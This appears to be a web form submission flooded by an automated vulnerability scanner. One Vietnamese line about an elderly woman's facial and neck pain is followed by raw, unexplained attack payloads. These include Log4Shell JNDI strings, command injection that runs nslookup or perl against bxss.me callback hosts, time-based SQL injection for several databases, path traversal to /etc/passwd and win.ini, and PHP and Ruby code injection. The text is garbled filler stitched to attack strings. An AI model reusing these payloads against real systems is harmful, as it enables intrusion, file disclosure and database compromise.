Đoàn thị ánh 65 tuổi đau nữa mặt. Dau 2 vai và sau gáy

555

555

555

response.write(9555959*9313788)

'+response.write(9555959*9313788)+'

"+response.write(9555959*9313788)+"

555

${j${::-n}di:dns${::-:}//hitddjlpqnvrvefcc7${::-.}bxss.me}zzzz

555

555

?????'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitikwwfbgaeif9c34${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.4357-4975.4357.f00c3${::-.}1${::-.}bxss.me}}

555

555

555

555

555

vrneuhAR

555

555

555

555

555

555

555

echo uecbab$()\ lvervr\nz^xyu||a #' &echo uecbab$()\ lvervr\nz^xyu||a #|" &echo uecbab$()\ lvervr\nz^xyu||a #

555

&echo hgddjt$()\ jmfqfe\nz^xyu||a #' &echo hgddjt$()\ jmfqfe\nz^xyu||a #|" &echo hgddjt$()\ jmfqfe\nz^xyu||a #

|echo smrsds$()\ clpuww\nz^xyu||a #' |echo smrsds$()\ clpuww\nz^xyu||a #|" |echo smrsds$()\ clpuww\nz^xyu||a #

acTcDSMb

(nslookup hitelrzbmqjsr3fa44.bxss.me||perl -e "gethostbyname('hitelrzbmqjsr3fa44.bxss.me')")

-1 OR 2+925-925-1=0+0+0+1 --

$(nslookup hitdozekjdsgtb713a.bxss.me||perl -e "gethostbyname('hitdozekjdsgtb713a.bxss.me')")

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'????

&(nslookup hitpkzozsnyno86df1.bxss.me||perl -e "gethostbyname('hitpkzozsnyno86df1.bxss.me')")&'\"`0&(nslookup hitpkzozsnyno86df1.bxss.me||perl -e "gethostbyname('hitpkzozsnyno86df1.bxss.me')")&`'

-1 OR 2+247-247-1=0+0+0+1

|(nslookup hitxzdqckliziee834.bxss.me||perl -e "gethostbyname('hitxzdqckliziee834.bxss.me')")

-1' OR 2+774-774-1=0+0+0+1 --

555

`(nslookup hityrbiypjjew50d3d.bxss.me||perl -e "gethostbyname('hityrbiypjjew50d3d.bxss.me')")`

-1' OR 2+353-353-1=0+0+0+1 or 'eQncX21V'='

555

;(nslookup hitqytoiovhrk352b2.bxss.me||perl -e "gethostbyname('hitqytoiovhrk352b2.bxss.me')")|(nslookup hitqytoiovhrk352b2.bxss.me||perl -e "gethostbyname('hitqytoiovhrk352b2.bxss.me')")&(nslookup hitqytoiovhrk352b2.bxss.me||perl -e "gethostbyname('hitqytoiovhrk352b2.bxss.me')")

-1" OR 2+73-73-1=0+0+0+1 --

555

555

if(now()=sysdate(),sleep(15),0)

555

../../../../../../../../../../../../../../etc/passwd

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

../../../../../../../../../../../../../../windows/win.ini

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

../555

-1; waitfor delay '0:0:15' --

555

-1); waitfor delay '0:0:15' --

555

555

1 waitfor delay '0:0:15' --

555

qlPEKFU9'; waitfor delay '0:0:15' --

555

555

555

-5 OR 932=(SELECT 932 FROM PG_SLEEP(15))--

555

555

-5) OR 146=(SELECT 146 FROM PG_SLEEP(15))--

555

555

555

-1)) OR 659=(SELECT 659 FROM PG_SLEEP(15))--

555

555

sr57PVq6' OR 705=(SELECT 705 FROM PG_SLEEP(15))--

555

555

555

555

17gATwbN') OR 183=(SELECT 183 FROM PG_SLEEP(15))--

555

555

555

M2NMdjMI')) OR 473=(SELECT 473 FROM PG_SLEEP(15))--

555

555

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

555

${10000198+9999878}

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

555

1'"

555

555

555

1????%2527%2522

555

555

@@3o5BJ

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

555

555

1some_inexistent_file_with_long_name%00.jpg

555

555

Http://bxss.me/t/fit.txt

555

555

http://bxss.me/t/fit.txt%3F.jpg

555

bxss.me

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555&n993091=v934486

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

)

555

'"()

!(()&&!|*|*|

555

'.gethostbyname(lc('hitbp'.'gmreldhndedf0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(70).chr(112).chr(76).'

^(#$!@#$)(()))******

555

".gethostbyname(lc("hitvg"."qmuaxkkn908a9.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(73).chr(99).chr(85)."

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

"+"A".concat(70-3).concat(22*4).concat(119).concat(83).concat(110).concat(83)+(require"socket"
Socket.gethostbyname("hitep"+"lsmruflwe9dc7.bxss.me.")[3].to_s)+"

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

'+'A'.concat(70-3).concat(22*4).concat(108).concat(82).concat(106).concat(77)+(require'socket'
Socket.gethostbyname('hitoq'+'jslzccxa89f88.bxss.me.')[3].to_s)+'

HttP://bxss.me/t/xss.html?%00

';print(md5(31337));$a='

555

bxss.me/t/xss.html?%00

/xfs.bxss.me

";print(md5(31337));$a="

555

555

555

555

${@print(md5(31337))}

555

555

555

${@print(md5(31337))}\

555

'.print(md5(31337)).'

555

555

555'"()&%

555

555

'"

555

'"()&%